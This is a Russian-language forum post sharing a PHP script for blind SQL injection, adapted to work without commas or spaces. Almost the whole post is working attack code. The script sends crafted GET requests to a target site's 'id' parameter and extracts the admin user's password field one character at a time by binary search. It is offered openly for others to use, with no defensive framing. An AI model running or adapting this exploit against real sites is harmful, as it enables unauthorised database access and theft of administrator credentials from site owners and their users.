Собственно нужен был скрипт который кушает блинд без запятых, пробелов, etc. Вот переделал
этот. С позволения многоуважаемого человека под ником Qwazar, выкладываю народу. Простите кому не угодил функционалом, делал под себя.
PHP код:
<?
function send_xpl($url, $xpl){
$u=parse_url($url);
$req ="GET ".$u['path']."/".$xpl." HTTP/1.1\r\n";
$req.="Host: ".$u['host']."\r\n";
$req.="Connection: Close\r\n\r\n";
$fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n");
fwrite($fs, $req);
while (!feof($fs)) {
$res .= fread($fs, 8192);
}
fclose($fs);
return $res;
}
function xpl($field, $condition, $pos){
global $from;
$xpl="?id=(155)and(ascii(lower(substring((select($field)$from)from($pos)for(1)))))$condition/*";
return $xpl;
}
function cond($url, $field, $cond, $pos, $ch) {
global $tfind;
if(preg_match('/'.$tfind.'/', send_xpl($url, xpl($field,$cond.$ch,$pos))))
return 1;
else
return 0;
}
function getChar($url, $field, $pos, $lb=0, $ub=255) {
while(true) {
$M = floor($lb + ($ub-$lb)/2);
if(cond($url, $field, '<', $pos, $M)==1) {
$ub = $M - 1;
}
else if(cond($url, $field, '>', $pos, $M)==1) {
$lb = $M + 1;
}
else
return chr($M);
if($lb > $ub)
return -1;
}
}
$tfind="textfromtruequery";
$url="http://site.ru";
$field="pwd"; //всегда должно быть тру.
$from="from(db.table)where(login=0x61646d696e)";
if(preg_match('/'.$tfind.'/', send_xpl($url, xpl("version()",">1",1,$from))))
{
echo "works\r\n";
}
else
die("check sql query");
for($i=1;$i<=100;$i++)
{
$c = getChar($url, $field, $i, 46, 122, $from);
if($c==-1)
die("\r\nend");
else
echo $c;
}
?>
(с)v1d0q